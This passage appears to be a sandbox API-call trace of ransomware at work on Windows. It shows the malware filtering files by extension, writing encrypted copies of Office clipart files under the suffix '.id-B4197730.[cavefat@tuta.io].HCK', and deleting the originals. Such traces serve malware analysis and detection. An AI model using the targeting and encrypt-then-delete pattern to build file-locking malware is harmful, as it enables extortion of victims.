(lpString=".pdf") returned 4 [0158.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".xls") returned 4 [0158.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.165] lstrlenW (lpString=".xlsx") returned 5 [0158.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.165] lstrlenW (lpString=".ppt") returned 4 [0158.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString=".zip") returned 4 [0158.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.165] lstrlenW (lpString=".rar") returned 4 [0158.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".bz2") returned 4 [0158.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".7z") returned 3 [0158.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString=".dbf") returned 4 [0158.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString=".1cd") returned 4 [0158.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString=".jpg") returned 4 [0158.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.165] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.165] lstrlenW (lpString="DD01586_.WMF") returned 12 [0158.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.166] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2324) returned 1 [0158.166] CloseHandle (hObject=0x36c) returned 1 [0158.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0158.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.166] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.166] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.167] GetLastError () returned 0x0 [0158.167] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x914, lpOverlapped=0x0) returned 1 [0158.168] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x920, lpOverlapped=0x0) returned 1 [0158.169] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.169] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.169] SetEndOfFile (hFile=0x300) returned 1 [0158.170] CloseHandle (hObject=0x300) returned 1 [0158.170] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.171] SetEndOfFile (hFile=0x36c) returned 1 [0158.171] CloseHandle (hObject=0x36c) returned 1 [0158.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0158.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.172] lstrlenW (lpString=".doc") returned 4 [0158.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString=".docx") returned 5 [0158.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.172] lstrlenW (lpString=".pdf") returned 4 [0158.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString=".xls") returned 4 [0158.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.172] lstrlenW (lpString=".xlsx") returned 5 [0158.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.172] lstrlenW (lpString=".ppt") returned 4 [0158.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.172] lstrlenW (lpString=".zip") returned 4 [0158.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.172] lstrlenW (lpString=".rar") returned 4 [0158.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString=".bz2") returned 4 [0158.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString=".7z") returned 3 [0158.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.172] lstrlenW (lpString=".dbf") returned 4 [0158.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.172] lstrlenW (lpString=".1cd") returned 4 [0158.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.172] lstrlenW (lpString=".jpg") returned 4 [0158.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.173] lstrlenW (lpString=".doc") returned 4 [0158.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString=".docx") returned 5 [0158.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.173] lstrlenW (lpString=".pdf") returned 4 [0158.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString=".xls") returned 4 [0158.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.173] lstrlenW (lpString=".xlsx") returned 5 [0158.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.173] lstrlenW (lpString=".ppt") returned 4 [0158.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.173] lstrlenW (lpString=".zip") returned 4 [0158.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.173] lstrlenW (lpString=".rar") returned 4 [0158.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString=".bz2") returned 4 [0158.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString=".7z") returned 3 [0158.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.173] lstrlenW (lpString=".dbf") returned 4 [0158.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.173] lstrlenW (lpString=".1cd") returned 4 [0158.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0158.173] lstrlenW (lpString=".jpg") returned 4 [0158.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.173] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.173] lstrlenW (lpString="DD01628_.WMF") returned 12 [0158.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.174] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19068) returned 1 [0158.174] CloseHandle (hObject=0x36c) returned 1 [0158.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0158.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.175] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.175] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.176] GetLastError () returned 0x0 [0158.176] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0158.177] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4a80, lpOverlapped=0x0) returned 1 [0158.178] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.178] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.178] SetEndOfFile (hFile=0x300) returned 1 [0158.178] CloseHandle (hObject=0x300) returned 1 [0158.180] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.180] SetEndOfFile (hFile=0x36c) returned 1 [0158.180] CloseHandle (hObject=0x36c) returned 1 [0158.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.181] lstrlenW (lpString=".doc") returned 4 [0158.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.181] lstrlenW (lpString=".docx") returned 5 [0158.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.181] lstrlenW (lpString=".pdf") returned 4 [0158.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.181] lstrlenW (lpString=".xls") returned 4 [0158.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.181] lstrlenW (lpString=".xlsx") returned 5 [0158.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.181] lstrlenW (lpString=".ppt") returned 4 [0158.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.181] lstrlenW (lpString=".zip") returned 4 [0158.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.182] lstrlenW (lpString=".rar") returned 4 [0158.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString=".bz2") returned 4 [0158.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString=".7z") returned 3 [0158.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.182] lstrlenW (lpString=".dbf") returned 4 [0158.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.182] lstrlenW (lpString=".1cd") returned 4 [0158.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.182] lstrlenW (lpString=".jpg") returned 4 [0158.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.182] lstrlenW (lpString=".doc") returned 4 [0158.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString=".docx") returned 5 [0158.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.182] lstrlenW (lpString=".pdf") returned 4 [0158.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString=".xls") returned 4 [0158.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.182] lstrlenW (lpString=".xlsx") returned 5 [0158.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.182] lstrlenW (lpString=".ppt") returned 4 [0158.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.183] lstrlenW (lpString=".zip") returned 4 [0158.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.183] lstrlenW (lpString=".rar") returned 4 [0158.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.183] lstrlenW (lpString=".bz2") returned 4 [0158.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.183] lstrlenW (lpString=".7z") returned 3 [0158.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.183] lstrlenW (lpString=".dbf") returned 4 [0158.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.183] lstrlenW (lpString=".1cd") returned 4 [0158.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0158.183] lstrlenW (lpString=".jpg") returned 4 [0158.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.183] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.183] lstrlenW (lpString="DD01629_.WMF") returned 12 [0158.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.184] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=580) returned 1 [0158.184] CloseHandle (hObject=0x36c) returned 1 [0158.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0158.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.185] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.185] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.185] GetLastError () returned 0x0 [0158.185] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x244, lpOverlapped=0x0) returned 1 [0158.186] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x250, lpOverlapped=0x0) returned 1 [0158.629] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.629] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.629] SetEndOfFile (hFile=0x300) returned 1 [0158.629] CloseHandle (hObject=0x300) returned 1 [0158.630] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.630] SetEndOfFile (hFile=0x36c) returned 1 [0158.631] CloseHandle (hObject=0x36c) returned 1 [0158.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0158.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.631] lstrlenW (lpString=".doc") returned 4 [0158.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.631] lstrlenW (lpString=".docx") returned 5 [0158.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.631] lstrlenW (lpString=".pdf") returned 4 [0158.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString=".xls") returned 4 [0158.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.632] lstrlenW (lpString=".xlsx") returned 5 [0158.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.632] lstrlenW (lpString=".ppt") returned 4 [0158.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString=".zip") returned 4 [0158.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.632] lstrlenW (lpString=".rar") returned 4 [0158.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString=".bz2") returned 4 [0158.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString=".7z") returned 3 [0158.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString=".dbf") returned 4 [0158.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString=".1cd") returned 4 [0158.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString=".jpg") returned 4 [0158.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0158.632] lstrlenW (lpString=".doc") returned 4 [0158.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString=".docx") returned 5 [0158.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.632] lstrlenW (lpString=".pdf") returned 4 [0158.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.632] lstrlenW (lpString=".xls") returned 4 [0158.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.632] lstrlenW (lpString=".xlsx") returned 5 [0158.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.632] 